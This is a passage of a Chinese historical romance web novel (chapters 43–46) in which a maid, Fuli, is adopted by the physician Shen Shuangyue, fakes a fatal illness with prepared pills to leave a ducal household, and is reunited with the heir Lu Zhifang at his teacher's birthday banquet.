“我同你老师没有孩子,因为我年轻时,在隆冬出诊不甚跌落了冰湖,就算调理好身子也难怀上。”沈霜月眼眸黯淡了几分,“其实有一次是怀上了的,但没保住。我自己诊脉看过了,是个女孩儿。” 沈霜月少言寡语,很少同他说起这等私事。 陆执方一直以为是沈霜月觉得妇人生产、养育会分走她扑在医术一道上的时间精力,是以没有同老师生养小孩。此刻他正在消化中,沈霜月已把黯淡神情收敛了,盯着他眼眸问:“过一阵是你老师大寿,山庄会开放迎客。你替我问问小姑娘的意思,要不要认我?沈家的官场关系,她是用不上了,但为人母亲该当给女儿的爱护,我沈霜月不会少给她一分。” 第43章 情字就是,再狼狈也觉得…… 巴掌大的铜镜上,映着人脸上细细的血丝。 左边眉骨上一道、右边脸颊上一道、左边唇角上还有拐了弯儿的一道,整张脸就像被狸奴抓过一遍。 馥梨拿着沈霜月给的草药膏,挖出一坨,手指抹上去,淡青草色的油膏覆盖,顿时脸上更精彩。 “不会留疤,药膏抹着睡一觉,明日就痊愈。” 这是沈霜月给她药膏时的叮嘱。 馥梨很信任沈霜月,阖上盖子,就要吹灭房里的灯,早些上床歇息。忽地,有人轻轻在敲门。 “馥梨。”是陆执方沉静的声音。 她捏了捏衣袖,“世子爷,这么晚了有何事?” “晚吗?戌时都不到。” “我换过寝衣打算睡了,有什么事你同我隔门说。”她靠近了些,走到门扉后,听他声音更清楚。 陆执方那头沉默了片刻,不满地啧了一声。 “你把灯吹灭了,我进屋里说。” 师娘后来都告诉他了。脸上一点小蹭小刮就不让他看见,把他当什么只被皮囊色相迷惑的薄情汉了。 馥梨还是犹豫。 陆执方抬手在她剪影的脑袋位置敲了一下。 “是很重要的事情。” “好吧,世子爷稍等片刻。” 那娉婷身影走开,屋内灯火骤灭,门扉慢慢推开,还有月光从窗格漏下来的银辉,斜斜一小方。 馥梨坐在月光照不到的矮榻上,等他开口。 “你之前说过,父亲船难失踪了,母亲多年前就病逝了,那家中可还有什么人?”陆执方补充道,“你觉得重要、可以信赖的人。” 馥梨不知道他为何问起这个:“还有个兄长。” “你之前没怎么说起过。” “因为阿兄也找不到了。” “他同你爹一起出海遇到船难?” “不是,阿兄自幼有武学天赋,想在沙场上建功立业,因而年纪一到就去投了军。他入的是襄州边军,爹爹出事后,我往襄州边军寄过了好几次信件,都不见回音。”馥梨说到这里,声音渐渐低下去,“我想去襄州找他,又不敢去。” 襄州在北地,与淮州几乎隔了国中整片版图。 那里冰封千里,终年积雪,就是财力雄厚的商队往返,都难保障次次平安而归,遑论一个弱女子。 陆执方回忆这一两年在朝堂上听到的边疆战事。襄州紧邻岷象国,敌军时常骚扰,最大型的是赤乌河一战,我军惨败,被俘虏军士近千。 但这样的消息,轻易不会传到民间去。馥梨的兄长,不知在不在这些俘虏里面。 “你兄长参军用的名姓,去了哪个营?”陆执方走过去,坐到了馥梨身侧,攥起她一只手揉了揉。 小娘子说起担心的事情,指尖总透着微微凉意。 馥梨回忆阿兄的信息,同他一一说了,包括从前阿兄的家书里,提及他曾经参加过的大大小小战役。 “世子爷为何问起这个?” “我会派人去襄州边军打听,看看能不能找到你阿兄。”陆执方将她手指揉至暖热才松开,“我问起是因为,师娘有意将你认为义女。这毕竟不是小事,她想知道你愿不愿意,家中还有何人能同你商议。” 馥梨呆了呆,许久都没答话。 陆执方以为她不愿:“你不想的话……” “没、没有不想,我就是觉得很意外,”馥梨想到今日之事,轻声问他,“世子爷,师娘是不是还在内疚呀?我真的没有大碍,她不必如此的。还是说,她这样是因为你去求了她和胥先生?” 陆执方盯着她在昏暗里模糊的轮廓。 此刻看不清脸蛋上到底哪里划伤了,只有淡淡的青草膏味飘散过来,侧脸线条柔和,鼻头微微挺翘。 陆执方微微一叹。 “世子爷?” “你怎么,总是心里没点数?” “什么没点……” 青年郎君的怀抱拥过来,揽着她轻轻一带,跌入有些硌人的坐榻上,长臂扣着她腰一转,她伏上温热结实的身躯,脸上半干未干的草药膏,都蹭到衣襟。 馥梨仰着头要起,被陆执方手掌摁下去。 “药膏都蹭到了。” “师娘说,就是不涂药也能好,慢一两日。” “可是我不想慢,我想,想明日就能好。” “就这么不想叫我看见。” “不想。” 馥梨轻轻抱怨了一句,“我已经叫世子爷看见过很多狼狈模样了,不想再添一些了。” “还是心里没数。” 陆执方并不解释,手掌在她后背心轻拍,一下一下,像是在安抚又像是在哄小孩儿睡觉似的轻柔。 馥梨陪着沈霜月走遍了一整座山,此刻当真被他拍出些困意来,慢慢闭上了眼。 陆执方也阖了眼。 春夜微凉,抵不过两相依偎的怀抱温热。 陆执方罕见地在硌人的长榻上,睡了一夜好眠。 翌日醒来,借着窗扉倾泻的晨光,看清楚了伏在他胸膛上的一张小花脸。白玉莹莹的脸蛋,草绿青青的药膏,被刮出的细细血丝几乎了无痕迹。 他手背在她眉骨一道蹭了蹭,少女皱眉嫌痒,脸贴着他心口摩挲了一下,药膏的痕迹更花了。 陆执方用目光描摹她。 祖母常嫌弃他不开窍,说他不知道一个情字几笔几划。他知道的,情字就是,再狼狈也觉得可爱。 怎么会觉得师娘是因为愧疚把她认作义女。 怎么会有人根本不知道自己多惹人喜爱。 陆执方一直在滦贤山待到了那十日结束。 人才从镇国公府西门入,还未到静思阁,半路就有祖母身旁的王嬷嬷在等候,“世子爷,老夫人请你去一趟。”祖母向来都是等他请安,很少如此急切。 陆执方却毫不意外:“我换身干净衣裳就去。”他依旧在王嬷嬷的注视下,带着馥梨往静思阁去,看她好好地回到屋中,才回自己寝屋更换常服。 祖母院子里,老人家正在花房修剪一盆开得肆意的芙蓉,细细用银剪,剪去了影响美观的枝枝叶叶。 “孙儿给祖母请安。” 身后响起了陆执方不徐不疾的声音。 老夫人回头,定定打量这个让整个陆家都觉得骄傲的孙儿,叹息了一声,“明日就回衙门点卯了?” “是,叫祖母操心了。” “祖母不操心,你自己的仕途前程,你自己得有数。”老夫人将银剪子搁下,又给芙蓉花洒洒水,“祖母就想问你一句话,不想同皇家结姻亲,是为了你自己,还是为了静思阁那小姑娘。你不要撒谎。” “都有。” “你怕公主跋扈,日后欺负了她?” “不是。” 陆执方看着眼前满头银发的老夫人,这是陆家中他最敬爱的尊长,“孙儿除了她,不想有旁人。” 背对着他的苍老身影微微一滞。 “祖母。” “祖母累了,你回去吧。” 老夫人摆了摆手,不回头看陆执方。 待陆执方走后,王嬷嬷迎上来,扶住了她颇有些颤颤巍巍的手。老夫人慢慢在她搀扶下,坐到月牙凳上,气息缓下来,摇头叹道:“我当初把那丫鬟调入静思阁,如今看来竟是错了。” 王嬷嬷道:“要不找个由头,将人赶出府去?” “赶出去容易,陵哥儿心里起了芥蒂,难消。你别看他云淡风轻的,实则护短又记仇。”老夫人思忖片刻,“此事不能着急,我要见一见那丫头。” 春光渐淡,赶在春季尾声,皇家狩猎来了。 陆执方因着太子殿下的耳提面命,破例去了。 春狩在城外皇家猎场,建有行宫,参与的臣子都宿在行宫厢房里,需得两日一夜才回来。 陆执方出门的第一日,王嬷嬷去了静思阁。 馥梨没见着,是洛嬷嬷出来应的。 “那姑娘前几日就咳得厉害,昨夜起高热病倒,如今这身子瞧着,不合适去老太太跟前说话。她是不打紧,把病气过给了老太太,就是大罪过。” 洛嬷嬷是大太太的陪嫁,又是世子爷乳母。 王嬷嬷不好态度强硬,心里将信将疑,“那丫鬟得老夫人眼缘,才叫她去陪着说话。我去看看吧,要是严重了,老夫人没准会给她请惯用的郎中来。” 洛嬷嬷没推脱,领着她去了馥梨屋里。 一进屋就闻到沉闷的中药味,床帐掀开来,里头露出了一张苍白憔悴的美人面,唇上淡得不见血色,额发凌乱贴着,真是病得快去了半条命的模样。 “怎么突然病得这般厉害?” “春季乍暖还寒的时日,一不留神就风寒了。年轻人不当回事,小病拖成了大病。” “洛嬷嬷,这位嬷嬷是……” 馥梨听见两人说话动静,勉强睁了睁眼,话说到一半,又剧烈地咳起来,额上瞬间出了一层冷汗。 “老婆子是老夫人身边的,你先养着病,有什么好了再说。”王嬷嬷看得心惊,安抚两句就赶紧告辞去回禀老夫人,生怕这病气把自己也染上了。 人走了,屋里剩下洛嬷嬷,目光担忧地看着她。 馥梨倒露出个笑来:“我躺几日吃吃药就好了,洛嬷嬷别操心,别在我这里久待,回屋里歇着去。” 洛嬷嬷给她换了条巾子,仔细擦去她额头冷汗,又换了一条新的,才叮嘱两句退出去。 馥梨待她走了,翻坐起来,拾起掉落到被面上的干净巾子,攥在手里,乌润杏眸中有些愧疚。 她枕头底下藏着个白色小瓷瓶,里面都是细如珠的药丸,是沈霜月特意调配给她的。吃了之后,高热咳嗽冒冷汗等症状都有,人精神上却不至于昏沉。 她骗了洛嬷嬷。 她不是躺几日就好,她还会病得更重,病得药石无医,这样才能名正言顺地“离开”镇国公府。 第44章 她好像又有了新的家。 春寒未尽,皇家猎场大雁群飞,芳草萋萋。 猎官驱出膘肥体壮的应时野兽,放入山林之中。 随着宣帝一声令下,锦鞲臂花隼,罗袂控金羁的猎手们或驱马追逐,或拔箭远射,拉开今年春狩的帷幕。 陆执方骑着白马,跟着文臣队伍的最后,不紧不慢遁入林野。太子高舸事先命人做好了暗记,他循着树干有黄漆的方向去,就能见到云梦公主。 陆执方行至半山腰,见云梦公主一身奢丽精致的骑装,挽着把小弓,等在一棵枝叶繁茂的柏树下。 宫女候在远处,而随行护卫和猎犬候在更远处。 陆执方驱马来到她面前。 “臣见过云梦公主。” “陆少卿,你来啦?” 云梦公主依旧笑意盈盈,面如冷玉的青年郎君当真无心春狩,还穿着阔袖宽摆的寻常衣袍。 他直奔主题,甚至连马都没有下,一双狭长眼眸,凝着古井无波的疑问。 “殿下说,公主有事想询问臣,不知是何事?” “……” 云梦先是静了片刻,再控马在林荫下慢慢转一圈,“陆少卿之前在御书房同我说,腰间绢花是心仪女郎之物,可是真的?”她不待陆执方回答,紧接着补充道:“云梦知道陆少卿心怀鸿鹄之志。我有幸得父皇偏宠,便是为了我小小地破例,想来父皇是愿意的。” 陆执方不必拘束于驸马官位最高四品的约定俗成。 她生来花团锦簇,要风得风要雨得雨,不觉得看上个品貌俱佳的郎君,要表达爱慕是值得羞耻的事情。 若陆执方是为了前程回避,她当叫他知道,这世间规矩,有人一辈子深受束缚,有人轻而易举就能更改。 可陆执方眉头蹙了蹙,便淡声回答道: “御书房中,臣当着陛下的面,自是字字属实。” “那你今日为何未佩戴那绢花?” “春猎山林,尘土飞扬,恐弄脏了绣花。” 陆执方松了缰绳,从袖子里抽出那条芽绿色的丝绢手帕,动作中透着珍惜,“公主殿下还要再确认吗?” 一模一样的色泽,一模一样的梨花。 云梦紧紧地盯着他的手,无言许久,眸中倏尔凝出层泪花,一夹马腹,调转马头往反方向去,疾驰着跑进山林深处。弓马娴熟的贴身宫女紧随其后劝,“公主,慢些,山林深处有凶兽,待护卫追上来再去……” 陆执方看了一眼护卫手忙脚乱追上去的背影。 他没跟过去,而是沿着来时的路,出了这片山林,回到猎场为文臣武将们特意设置的帐篷里。 帐篷里,太子高舸正在同今年春闱揭榜的几个进士说话。春狩持续两日,他向来习惯去最后一场。 高舸见了陆执方,目光往他身上一顿。 几个新科进士很快就会意,为他们让出了空间。 “太子殿下。” “这般快就回来了,云梦呢?” “公主往林中狩猎去了。原本就是一问一答的事,耽搁不了太久。” “你倒真是叫孤……” 高舸无奈地摇摇头,知道陆执方无意同皇家结亲,也不想强迫,同他说起南方水涝赈灾。户部艰难地挤出一笔赈灾银子,就等着太子妃的那场义卖,加些添头。 “朝堂里近日为了派谁去赈灾的事情,闹得沸沸扬扬。九陵觉得有谁合适?”高舸向他投去询问的眼神。 历年来赈灾都是个肥差,不止能博得好名声,还有大量银钱经手。然而,宣帝去年严惩了一起赈灾银贪墨案后,这位置就不好坐了。 陆执方想了片刻:“都水司郎中刘健、度支司员外郎徐海潮,都参与过汛期洪涝的赈灾重建。臣记得徐海潮的家乡,就是受灾最严重的翁沙县,他定会亲力亲为。至于主持赈灾之人……” 太子和三皇子的人都在暗暗较着劲呢,难选。 高舸想要再问,忽而听见猎场另一头传来吵闹声。几个护卫和宫女簇拥着云梦回来,云梦并没有骑她那匹宝马,而是由宫女搀扶着,漂亮华美的骑装小裙摆上,深深浅浅的污泥碎叶。 竟是不知在哪里摔了的模样。 高舸与云梦一母同胞,向来感情好,当即没再去管陆执方:“我去云梦那边看看。” 公主营帐里,各人忙忙碌碌。 太医来仔细检查过,“云梦公主是轻微摔伤,并无大碍,但接下来几场狩猎,恐怕是不能再参加了。”又叮嘱了休养时的注意事项,才慢慢提着医箱离去。 “你这是怎么摔的?” “从马背上没坐稳,跌下来的。” “护卫呢?!” 高舸皱眉,就要训斥护卫,云梦神色恹恹,并不想再继续多言,“是我一时没留意,马蹄踩进陷阱里。护卫都跟着后头,也拦不住,皇兄别怪他们。” 高舸看着她神色复杂。 春狩除却用猎犬猎鹰和射箭,还会设置一些地面小陷阱,捕捉山雉、灰兔等小兽,通常会在陷阱周围树立明显的旌旗提示。云梦骑术自幼得宫中师父教导,即便遇到陷阱,也能当路障跨越过去。 是被陆执方婉拒,分了心神才会这样。 “我不想责罚,待会儿父皇来了也要罚。” 高舸心知肚明,往最威严繁复的主营帐看去。 果然,浩浩荡荡宫人已簇拥一脸担忧的父皇靠近。按照父皇的脾性,除了责罚,还少不了迁怒,高舸摇头暗叹,他今晨为陆执方说的那几句美言是无用了。 陆执方也看见了云梦公主狼狈回营的模样。 比起宣帝责难,他更担心距离皇家猎场甚远的镇国公府。馥梨已经服下师娘给的药好几日了。母亲和祖母不是心肠歹毒之人,不会见她病得如此模样还苛待她,却会以染病为借口,将馥梨和他隔开来。 或许是送到医馆里,或许是送到城郊庄子上。 陆执方思量良久,等到索然无味的春狩结束,回到镇国公府时,苗斐已等在正堂。 她连他完整的一句问安都等不及了,皱着眉头劝:“你那婢女,病得厉害,老夫人找郎中来瞧过了,说是可能会传染的。我看不能待在静思阁,还不如……” 还不如什么,没说出来。 被少年人还细幼清脆的声音慌里慌张地打断。 “世子爷!” 是南雁。 南雁磕磕巴巴,顾不得平日礼数,朝着苗斐的方向行了不太标准的一礼:“世子爷,馥梨姐姐她……” “怎么了?” “她没气息了。” 正堂陡然沉默下去。 连苗斐都愣怔住:“什么意思啊……” 南雁脑袋空白,转向了苗斐喃喃解释:“洛嬷嬷说的,馥梨姐姐没气息了,世子爷一回来马上通报。” 苗斐领会过来,去看陆执方,正堂里哪里还有这个儿子的身影。方嬷嬷咳了一声提醒:“太太跟着呀。” “对,快些,同我去看看。”苗斐扶上她的手。 静思阁西屋的厢房,屋门敞开着。 苗斐和方嬷嬷赶到去的时候,还是感到不可置信,“当真没气息了?执方……”她在门槛处站定,往里头看,屋内两扇支摘窗开得最大,透出日暮时最后的光。 素色床幔高高卷起,陆执方就定定站在床边。 床上躺着的姑娘五官柔和,是苗斐见过的好模样,可唇色得不像活人,细细去看,胸口没有呼吸起伏了。 陆执方伸手要去探她呼吸。 方嬷嬷神色骇然,急急提醒了一句:“世子爷,不可啊!郎中说她这病可能会传染,找云苓来。那丫鬟懂些医术,知道怎么防护的。” “还不把世子请出来!” 苗斐提高了音量,静思阁里几个守着的护卫你看看我,我看看你,犹豫着脚步入了屋内,却没几个人真的有胆量去拉陆执方。 陆执方的手已探过去了,悬在那琼鼻之下。 云苓被南雁拉着跑来时,屋内极安静。 大太太和方嬷嬷立在门外,脸色极为难看。 陆执方依旧坐在床边,拿沾湿的帕子一点点擦馥梨的脸蛋,好似她是一个仍然需要照顾的病人。 云苓胆颤心惊地上前,话音颤颤:“世子爷,奴婢为馥梨姑娘看看。”她这些天也听到了风言风语,原想着陆执方会断然拒绝,却听见他话音轻轻。 “你小心些,别弄乱了她的头发。” “好。” 云苓探了鼻息,摸了脉象,本想去触碰颈部脉搏,想到陆执方的话作罢了,到这地步,已经显而易见了。 “世子爷,馥梨姑娘已经去了。” 她轻声道,眼神看向的,却是门外的大太太。 太阳完全落下去了,天幕黑沉,星月未现。 镇国公府的小角门,悄悄地抬进了一座木棺。 静思阁的护卫们不敢劝阻,不敢上手,眼睁睁看着他们向来矜贵喜洁的世子,亲手把一具没有气息的身躯抱起来,极为柔和地放入了木棺里,再缓缓阖上盖。 馥梨像是睡了一场很久很久的觉。 再睁开眼时,人在微微颠簸中,摇摇晃晃,依旧是陷身在黑暗中。不能够害怕,不能够挣扎,再等一下,再忍耐一下就好了。她在黑暗里同自己说道。 手指沿着左右木壁摸索,忽而摸到一个小匣子。 指腹按过了匣面熟悉的卷云花纹,是她惯用来攒钱的小钱匣,陆执方竟然也给她装进来了。还有一对冰凉凉但形状圆润的小石子,是他送的瑰玉耳坠。 馥梨在黑暗里弯了弯唇。 在镇国公府这段日子,她觉得珍贵的东西,竟都在身边了,好像找到了一个安心的锚点。 持续许久的摇晃,变成了倾斜,她脑袋磕到木壁上发出咚一声轻响。又过了许久,有人嗡嗡的说话声。 遮挡光线的木板被揭开。 馥梨先是眯了眯眼,耳边听见沈霜月的声音,“小梨儿?”她适应了一会儿,才看清她关切的表情。 沈霜月还是梳着简单发髻,黑发中的几缕银丝,在灯火中泛出柔光,她身后是山庄朴素而熟悉的布置。 “我没事。”馥梨声音还有些哑。 她又回到了滦贤山,手边是她积攒的银钱,眼前是愿意爱护她的义母,她好像又有了新的家。 第45章 好像在软软地喊他,世子…… 太子妃为南方赈灾筹备的义卖在多宝轩开场了。 东宫出的秘色瓷宫盌与田黄云龙钮章、户部尚书出的松石绿地红蝠珐琅彩小葫芦瓶……所拍卖臻品林林种种,拍卖出最高价的,却是一副名不见经传的山水画。 不懂字画类的竞拍富商们咋舌。 “这画师名头没听说过呀?” “画师不重要,那上头有胥老藏印和亲笔题字。” “谁说画师不重要,确实画得好啊,此画气脉贯通,满而不塞,设色古雅有韵味。要是画得拙劣,单凭胥老题字,卖价也不能凭空涨上这许多。” 博古画坊琉光堂的罗掌柜点评道。 这话引得旁观的书生们一阵附和,“胥先生的眼光岂是什么平庸作品就能收藏的。” 几日后,市面上再流传一副与山水画同一单字落款的《秋日婴戏图》,画了一对姐弟在玩推枣磨的情景。女童天真烂漫,幼弟童稚无邪,二人表情生动传神,叫人仿佛能听见画面里其乐融融的天真嬉笑之声。 《秋日婴戏图》才一挂出售卖,就被匿名藏家重金购入。那位曾经到滦贤山求胥垣墨宝的富商,正是义卖山水画的购得者,得了胥垣的题字和藏品还不够,就想看看同一画师的新作如何,无奈来迟了一步。 只能听见看过的人夸得天花乱坠。 “到底是何人买走了《秋日婴戏图》?罗掌柜,你给我陈某人透个底,我自不会说出去。” “陈员外,是匿名藏家,就我琉光堂见过,我要是透露了,这往后生意还做不做了?” 罗掌柜摸摸山羊胡,话音一转,“说是不能说,但可以代为转达,陈员外想见这位藏家是为了买画?” 陈员外拍出一叠银票,“他出什么价买下来,我愿意花双倍价格买回去。”他心里打的是另一算盘。 胥垣这人难讨好,得了他收藏过的同个画师佳作,再去求墨宝,总不能叫他吃闭门羹了吧。 就这样,《秋日婴戏图》转手再售出了高价。 所得银钱,绝大部分存入了思源钱庄的某个户头,剩下一点零碎,拿来买了两壶玉浮春。匿名藏家游介然提着酒,叩响了静思阁的屋门,“陆九陵!来喝酒!” 南雁小跑着追上来,“游公子,世子爷心情正不好,恐怕是不会见客了。”馥梨姐姐走了后,世子爷向大理寺告了好几日假,成日里闭门谢客。 “你还小不懂,他这种时候,就得借酒浇愁。” 游介然径直踹开了门。 南雁的表情霎时呆滞。 主屋里,陆执方只用一根木簪束发,身着素色燕居棉袍,正对着棋盘自弈,面无表情瞥了游介然一眼。 “回去吧。”这话是对南雁说的。 南雁点头,替他阖上了屋门。 游介然“哐当”把两壶酒搁在他棋盘上。 “事情都妥了?” “妥了,我敢保证眼下皇城里,小梨子已然是身价能够挤得进前三的画师了。这壶酒就是用画钱买的,剩下的都存进思源钱庄了。” 游介然想起陆执方托他买画时的叮嘱,“那可不是一笔小钱,真的都拿去赈灾了?” “是馥梨自己的意思。”陆执方拔过被游介然弄乱的棋子,将白棋一颗颗拣出来,丢到棋篓子里,眼前还能看到馥梨拧着眉头,有些心虚的小表情——“是借着义卖和老师题字才鼓吹起来的名声,我怎好把银钱拿来私用?拿去南方给灾民解急,能派上更大用场。” 算了算,已经快十日没见过她了。 腾起的念头很快被打了岔。 游介然拔出了玉浮春的酒塞,从他茶案上摸出一套茶具,大大咧咧地酒倒入了茶盏里,推到他面前。 “我给你办事,你陪我喝酒,来!” 陆执方执起茶盏,陪他饮了一杯。 “今日陈平候家的姑娘生辰宴,嘉月去赴宴了。” “哦。” “他家二郎君追得可紧,连母亲带嘉月去礼佛,都能在庙里碰见。这个月都见 第三回 了。” “与我何干?” “与你无关,我好好的刑窑白瓷盏,拿来装酒?” 搁在往日,即便陆执方不说,游介然少不得也得骂一句暴殄天物,如今却浑然不觉,眼角眉梢的风流潇洒不再,只有莫名的沉郁失魂。 游介然烦躁地又灌了一杯,撇开了话题,“陆九陵你个小气鬼,小爷赔你一套就是了。” “修自,茶盏没了能再买,人嫁了可难回头。” 陆执方敛去玩笑神色,郑重地劝道。 馥梨不在静思阁,他总觉得自己的院子少了些什么。人在习以为常,习惯了拥有时,不会去设想失去时的滋味。他的思念尚有可缓解之法,游介然的却未必。 胥垣大寿这日,春山暖日和风。 滦贤山的坡道繁忙,挤满了来贺寿的宾客。原先设的八卦迷阵和路障被撤掉,重新成为通往山顶的坦途。 陆执方骑着白马,等在山脚下。 等了许久,才等来一蟹青色圆领直裰的斯文青年,骑着慢悠悠的毛驴赶到,“小陆大人,我不熟悉路况,在城外迷路耽搁了,抱歉抱歉。” “无妨,快些跟上。”陆执方领着他上山。 此人是本在塞州任推官,今年得了调令到大理寺任寺丞的宋良弼。他在吉阳城住入严家,用了宋良弼的名号,见到宋良弼后,便告知了相关事情。 “我不白欠人情,你可以换一样想要的回报。” “小陆大人,什么回报都可以吗?” 宋良弼当时两眼放光,就在陆执方猜测他要钱权利哪一样时,宋良弼试探着开了口,“下官听闻小陆大人是胥老门生,可否代为引见?胥老当年的政论与谏文,有好几篇我都倒背如流,科举作文时还引用过。” 于是便有了这么一出。 山庄早已坐满了宾客,胥垣在主位同人寒暄。 有同胥垣一样年长的高官或富绅,有同他们一辈,尚未入仕或者官场资历不算深的青年郎君。厅堂内除了胥垣和沈霜月惯用的小僮在奉茶,还有一道娉婷身影。 少女端着托盘,给宾客摆上时令鲜果和点心。 她穿着樱粉色的妆花半袖,套一条浅月色素纱裙,唇红齿白,眸如清泉濯洗过的乌润,顾盼俏皮灵动。 有人觉得她是新聘用的婢女。 有人觉得不像,二老向来朴素,而少女衣裳打扮虽谈不上奢丽,处处细节都是精致用心。 “这是我最近收的义女,叫迟霓。” 沈霜月从侧门缓缓走进来,换了一身更考究的暗花锦裙。她神情淡淡,路过少女时,牵着她来到上首的动作却很亲昵。她坐了下来,拍拍少女的手。 “我行医大半辈子,近来在编写草药典籍,小梨儿替我画插图,也算是我半个关门弟子。她还是喊我们师父师娘,你们也按着辈分,喊她小师妹便可。” 这话是朝着一众门生说的。 这位师娘素来冷淡,一声小梨儿已表明了亲近。 门生们你看看我,我看看你,眸中都浮现惊讶之色,登时有人敏锐地联系起来,作了猜测,“胥老义卖所捐出的那副山水图藏品,可是……” “就是你们小师妹画的。” “那之后那副《秋日婴戏图》也是?” 一直未点破她身份的胥垣点了头,语气中也有抑制不住的赞赏,“卖画所得,都兑换成衣食物资,不日就会随朝廷赈灾队伍出发了,往受灾最严重的地方去。” 满堂低声议论与惊艳目光里,少女神情未改。 陆执方来得迟了,与宋良弼坐在偏后位置,却见她含着明软秋水的眼眸,似清波微漾,随眼睫一眨,准确向他投了过来,专注的,温柔的,充满了宁静与欢悦。 好像在软软地喊他,世子爷。 第46章 “你是半点不想我。”…… 胥垣的寿宴,办得既隆重又简朴。 隆重在宾客身份清贵,士林清流叫得出名号的人,将近一半聚集在此,胥垣与沈霜月借此让义女露了面。简朴在席面菜色家常,连酒水都是沈霜月亲手酿造的。 馥梨在胥垣介绍下,见过了他最看重的几位得意门生。轮到陆执方时,胥垣看向了他带来的青年。 “这是学生在大理寺的同僚,姓宋,名良弼,一直仰慕老师才学。” “晚生见过胥老。” 宋良弼在胥垣面前,克制得很好,只是行礼作揖时,手没忍住微微颤抖,泄露了激动之情。 胥垣面上露了笑,同他寒暄几句,馥梨就乖乖站在一旁听,好奇的目光朝着宋良弼打量。她还记得,陆执方在严府里用了他的身份,原来这就是宋良弼本人。 宋良弼被一道清澈的视线注视着。 少女无辜纯粹的观察,不带冒犯,像一阵柔和的清风。他没克制住,朝馥梨回看,迟疑着问:“方才在席间听闻迟姑娘擅绘画,可曾到过大理寺去?” 馥梨亦惊讶,她不记得自己在大理寺见过宋良弼,再说出入都是戴着帷帽,入了画室才摘的。 陆执方表情变了变:“你认得她?” 大理寺里,只有程宝川知道馥梨的真实身份,对外只宣称是请来帮忙的画师。因此,在宋良弼面前承认也无妨。 宋良弼点头:“头一日到大理寺报告时,人生地不熟,走错了方向,本该去政务厅,却去了画室,见到迟姑娘在窗边作画的场景。在下目力与记忆力都不错,见过的人,只要有些特点,都不会忘记。” 馥梨从陆执方眼神里看到肯定,才道:“是我。” 宋良弼面上浮出一抹钦佩之色:“迟姑娘帮忙画的孩童与女郎五官图册,对大理寺案情破解贡献良多。”说罢又郑重对她行了个文人之间的礼。 “算不得什么事,宋大人无需如此。” 馥梨第一次被男子如此行礼,杏眸闪烁,侧过一步没受,侧的方向刚好是陆执方站的位置。在宋良弼眼里,就像一直受惊的小兔子,躲在了熟悉的树后。 “快要变天了,去药方帮你师娘把东西收了。” 重要的人都见得差不多了,胥垣把馥梨从她不善应对的局面中解救出来。陆执方身后的樱粉色衣裙一旋,少女婷婷袅袅的身影走远了。 陆执方作为得意门生,需得陪着胥垣宴宾客。 等好不容易抽出身去药房,已是宴会快散的时候,远远就见向来只有药材、竹架与师娘的药房院子,人影攒动,看着比刚才席面上还热闹几分。 “小师妹,这筐药材要搬到哪里去?” “小师妹,地黄、地黄我通通都切好了,你看看这厚薄是否合适?还要切哪些?都交给我吧。” “小师妹……” 馥梨霎时比在席间给宾客上瓜果点心时还忙碌。 她逐一回答,忽而觉得院子里安静了下来。 原是陆执方不知何时进来:“棋圣黎曙钻研了新的棋局,在同老师切磋,现在去,还赶得上看中盘。” 此话一出,方才围拢在药房院子的少年郎君们,又呼啦啦地涌过去观战了。娇憨可爱的小师妹,日后还有机会能看,棋圣与老师的对弈,可遇不可求啊。 馥梨松了一口气,待少年们都走远了。 她轻轻唤了一声:“世子爷。” 陆执方朝她抖抖那筐药,“搬哪儿去?” “屋里边。”馥梨伸手一指。 陆执方的声音在半掩的门后模糊:“屋里哪边?” 她提了裙摆,迈过去,“就在药架子旁……”手腕倏尔被扣上,一拽,人被拉到了他身前。青年身量高挑而肌理轻薄,她所碰到的胸疼和手臂都是硬的。 “世子爷。” “该叫师兄了。” 陆执方拇指摁上她的唇,摩挲了两下。 那水润红唇无比乖顺,开阖间吐出轻飘飘的两字:“师兄。”听起来有些新鲜,有些特别。 陆执方还想再听一遍。 馥梨却不知是有意还是无意,微张的齿关里,舌尖在他指腹上浅浅扫过了一下,濡湿温软,即刻就唤起了这些天来时常入梦侵扰他好眠的回忆。 身体反应比他更快,意识到时,已缠住那片温软,像灵蛇咬住猎物。馥梨仰起臻首,闻到了陆执方身上的那股熟悉冷香,被他体温烘成清爽的味道。许久未亲近过,骤然再相贴,她身体起了一阵轻轻的战栗。 可门扉只阖了一半,随时会有人回来。 馥梨分出心神去看,唇上却被重重磨了一下,继而是轻轻的咬,陆执方手掌在她腰侧掐了下,强迫她专注在自己身上,却蓦然听见一声问: “小梨儿,你在屋里吗?” 是沈霜月的声音。 人离得不远,已入了院子,脚步声停顿在门外。 馥梨惊得一颤,艰难挣出自己的唇,“我在……” 陆执方双臂圈着她不放,像是要挤出她胸腔最后的一丝呼吸盈余。馥梨眸中雾蒙蒙一层,推他推不动,又不敢说话,生怕师娘听见,只能委委屈屈地看他。 半晌,陆执方心软松开了人。 馥梨从他身侧走过:“师娘找我什么事?” “我方才听宾客说,明日在溪阳巷有义诊,夜里在东市还有花灯会。你想跟我去,还是想留在这里?” “我跟师娘去。” “那你收拾一套换洗衣裳,我们住一夜客栈。” “好。” “要是看到执方了,让他去前头。宴席还未散,他自己溜出来了,没规没矩。” 屋内,陆执方靠着薄墙失笑,师娘表面上骂他不陪宾客没规没矩,实际上是猜出他在这里了。馥梨也听懂了,进来撵他,“世子爷快些去宴客,别在这里。” “你是半点不想我。” 陆执方点点她额头,越过她出了屋。他明日还要去大理寺上衙,老师寿宴散了就要往城里赶去。 沈霜月说的义诊,在溪阳巷,即城西十三巷,聚集很多贫民。义诊对象正是这些没钱看大夫的贫民。 城内各大有名声的医馆,都派人去了。 馥梨跟着沈霜月,给她记药方。此外,有一些应时疾病的药剂,一早就配备好了存在医箱里。沈霜月每每遇到对症的,馥梨替她翻找出来,详细叮嘱煎药方法。 两相配合下,她医案前的队伍很快就缩短了。 沈霜月看完了最后一个病人,正想歇息下。 馥梨忽而把毛笔搁下,说了一声“我很快回来”就往街上跑去了,看模样,是追着一个卖饮子的商贩去。 到底是小姑娘家心性,想来是在山上闷久了。 沈霜月好笑地摇了摇头。 馥梨回来得也很快,“师娘,喝口水。” 她小心翼翼,端过来一个碗,冒着些微酸甜味。 沈霜月接过一尝,心里暖了暖,是山楂水。 她喜欢吃清淡,义诊安排给大夫的饭菜不太合她胃口,因为不想浪费,她还是都吃了,胃里却不太舒服。 “怎么只给我买?你自己不用?” “我脾胃还好,吃什么都好消化。” 馥梨手脚麻利地替她收拾医案上的东西,“今日比预想的还要早,还能逛逛东市,在那里吃顿晚膳。”她在镇国公府时,出去游玩的机会,每月就那么两三日。 